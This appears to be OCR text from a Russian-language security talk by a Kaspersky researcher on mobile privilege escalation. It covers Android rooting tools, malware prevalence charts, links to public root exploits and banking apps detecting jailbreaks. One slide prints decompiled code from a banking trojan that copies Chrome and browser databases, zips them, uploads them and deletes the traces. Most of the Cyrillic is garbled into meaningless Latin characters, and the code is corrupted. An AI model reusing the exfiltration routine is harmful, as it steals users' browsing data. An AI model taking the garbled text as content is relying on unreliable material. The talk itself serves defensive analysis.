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NOBbLIWEHWUE MPUBWUIIEMUU — PC vs MOBILE




UCTOPUA BOIMNMPOCA

« Mogudmkauma OC npoaBUHYTLIMW MONb30BaTENSIMU

* YnpouleHne nony4yeHus npusuneruin yepes npunoxeHnsa ans PC n MobunbHbIX

® MTK Droid Root & Tools v2.3.0 =10l x|

Fhone infarmation  root backup, recoveny |

T [~ Backup userdata gnd cache
[~ Leave FlashToalfiles on 30 card
Superllser | Delete chinal

¢ Install already praparad file
(" Touse bootfrom phone
(® Tochoose the bootimg

Build.prop

file

To process file ROM_ from FlashTool

To prepare blocks for FlashToaol

Tounpack yaffs? the section

To create updates for modified recoveny

|Free space: eystern- 47h; date- 749M; sdcard2- 2G; CL 2

[
I 9300 (root shell) ADBterminal | Rebaoot

 BcTpoeHHble BO3MOXHOCTH



KTO SKCIJTYATUPYET?

« Adverts
« Ransom

SMS-TposiHbI
baHkepbl




3AYEM SKCIITYATUPOBATbL?

o 3aKpenneHune * [1lpoTBOgENCTBUE * HoBble BeKTOpPbI

MEeXaHN3MaM 3allNThbl
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https://securelist.ru/analysis/obzor/28121/attack-on-zygote-a-new-twist-in-the-evolution-of-mobile-threats/
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CTATUCTUKA YASBUMOCTEWN B ANDROID

Y2012 Y2013 Y2014 Y2015

. DoS I Code Execution  Overflow

mm Bypass mm Gain Information = Gain Privileges

N Memory Corruption

a=sTotal

* http://CVEdetails.com




Trojan-Banker.AndroidOS.Tordow.a

public wvoid run() |
new FramaBetivity () .CheckRoot ()
new FramaBeotivity () .Executelhmod () ;
new FramaRetivity () .CopyFile ("/data/data/con.android. chrome/app chrome/Defanlt", API1.PRIVATE CACHEE + "/chrome"):
new FramaBeotivity () .Wait):
try |
LPT3.this.Createiiphrchive (API1.PRIVATE CACHE + "/chrome", RPI1.PRIVATE CACHE + "/chrome.zip"):
}
catch (ICExcepticon i0ExceptionO) {
Logger. log (Besocurces.getStackTrace { ( {(Excepticon) iCExceptionO) ) ) -

RPT3.thiz.UploadFile (RFIS.this.R.getlUploadPath(), API1.FPRIVATE CACHE + "/chrome.zip"):
RPT3.thiz.DeleteFiles (new File (RPT1.PRIVATE CACHE + "/chrome")):
RPT3.thiz.DeleteFiles (new File (RPT1.FPRIVATE CACHE + "/chrome.zip"}):
new FramaBetivity () .CheckRoot ()
new FramaBeotivity () .Executelhmod () ;
new FramaRetivity().CopyFile ("/data/data/con.android.browser/databases", API1.PRIVATE CACHE + "/browser"):
new FramaBeotivity () .Wait):
try |
LPT3.this.Createiiphrchive (RFI1.PRIVATE CACHE + "/browser", API1.PRIVATE CACEE + "/browser.zip"):
}
catch (ICExcepticon i0ExceptionO) {
Logger. log (Besocurces.getStackTrace { ( {(Excepticon) iCExceptionO) ) ) -

RPT3.thiz.UploadFile (RFIS.this.R.getlUploadPath(), API1.FRIVATE CACHE + "/browser.zip"):
RPT3.thiz.DeleteFiles (new File (APT1.FRIVATE CACHE + "/browser")):
API3.thiz.DeleteFiles (new File (API1.PRIVATE CACHE + "/browser.zip"}):

}
https://securelist.ru/blog/issledovaniyva/29343/the-banker-that-can-steal-anything/




AOOCTYNHOCTb UHCTPYMEHTAPUA OANA ATAK

https://qgithub.com/darxmorph/root-mtk

Hummer / HummingBad:

B coctaBe — 18 a3kcnnoutoB
ONS MOBbILLEHUSA NMPUBUIETNIA

https://github.com/android-rooting-tools

libexploit C kas ba1

Updated on 22 Nov 2015

libpingpong_exploit C %29 b2
CVE-2015-3636 exploit

Updated on 22 Nov 2015

libfutex_exploit C *14 P19
CVE-2014-3153 exploit
Updated on 7 Oct 2015

libfj_hdcp_exploit C %3 P
¥ forked from fi01/libfi_hdcp_explait

Vulnerability in function "hdecp_mmap" in kernel/drivers/video/omap2/hdcp/hdcp_top.c

Updated on 7 Oct 2015
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THE ROOT OF ALL EVIL / KOPEHb BCEX 3011

B akocucteme Android HoBeulwana Bepcusa nnatcgpopmbl HUKOrAa He OyaeT 3aHMMaTb 3HAYMMOU 40NN
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CtaTtuctuka npogax cmaptdoHoB H1/2016 kpynHoro putennepa



FTEONPA®UA MOBUJIbHbIX YITPO3

50% W3 CIIMCKA TOP20
BpesioHocHoro 110
coJZiepKar
UHCTPYMEHTAPUU JJIA
MTOBBILLIEHUSA IIPUBUIIETUN




PYTOBAJIbLUUKHA

% aTakoBaHHbIX
Bepaukr nonb3oBarenen®

m DangerousObject.Multi.Generic 80,87

Trojan.AndroidOS.lop.c 11,38

Trojan.AndroidO_S.Agent.gm 7,71
m Trojan-Ransom.AndroidOS.Fusob.h 6,59

Backdoor.AndroidOS.Ztorg.a 5,79
B Backdoor.AndroidOS.Ztorg.c 4,84

Trojan-Ransom.AndroidOS.Fusob.pac 4,47
Wrojan.AndrOidO_S.lop.t 4,37 |
m Trojan-Dropper.AndroidOS.Gorpo.b 4,33
m Trojan.AndroidOS.Ztorg.a 4,30
KL} Trojan.AndroidOS. Ztorg.i 4,25
m Trojan.AndroidOS.lop.ag 4,00
m Trojan-Dropper.AndroidOS. Triada.d 3,10
m Trojan-Dropper.AndroidOS.Rootnik.f 3,07

_m Trojan.AndroidOS.Hiddad.v 3,03



CUTYALUSA C 3ALLUUTOU
 Makcmmym, 4YTO UCNONbL3YKOT B CaMOCTOATENbLHOM pa3paboTke
MOOUbHOro 6baHka — npoBepka /bin/su

» [lpoTBOOENCTBME BpedOHOCHOMY [0, ncnosnb3ylowemy

NOBbILLEHWE MPUBUIIETUIN?

* [laTty-meHemxkmMmeHT 1 bopbba ¢ pparmeHTaumnen co ctopoHsl Google



10S?

» https://github.com/n00neimpOrtant/xCon-Issues - ckomnbko 3anpocos
NOCBALLEHO CKpbITUIO jailbreak oT baHKoOB?

UnderEu commented 25 days ago

'‘Banco Meon' is an app-based digital bank from Brazil.

Issues:
5ign up: Pop-up notification appears right after entering initial personal data. Text (translated): "This app
cannot run on madified devices.”

Login: Login animation runs forever. o
kevinil5 commented on 14 Aug

Website: https:/fwww.banconeon.com.br/
App Store link: https://itunes.apple.com/br/app/neon/i Hey,
Decrypted IPA: attached

DECRYPTED-br.com.Meon.ipa.zip

could you please have a look at this VR-SecureGO app? It crashes on startup ever since I have this iOS 9
jailbreak. Would be really great! If you need any infos of the app or anything similar just tell me! :)

Thanks in advance!

VR-SecureGO
Fiducia & GAD IT AG
Current version: 1.42.02
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Bepaukr % aTakoBaHHbIX Nofb3oBaTenen

—

Trojan.IphoneOS.AceDeceiver.a 39%

RemoteAdmin.IphoneOS.Tbshell.a 20%

Trojan-Downloader.lphoneOS.Tiniv.a 17%

Trojan-Spy.IphoneOS.WireLurker.a 5%
Trojan-Spy.IphoneOS.Ssthie.b 4%
Trojan-Spy.IphoneOS.WireLurker.b 3%
Trojan-Spy.lphoneOS.Mekir.b 3%
Trojan-Spy.IphoneOS.Mekir.c 3%
AdWare.lphoneOS.Muda.a 3%
Trojan-Spy.lphoneOS.Ssthie.a 2%
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Cnacnb6o 3a BHUMaHue

Denis.Gorchakov@kaspersky.com
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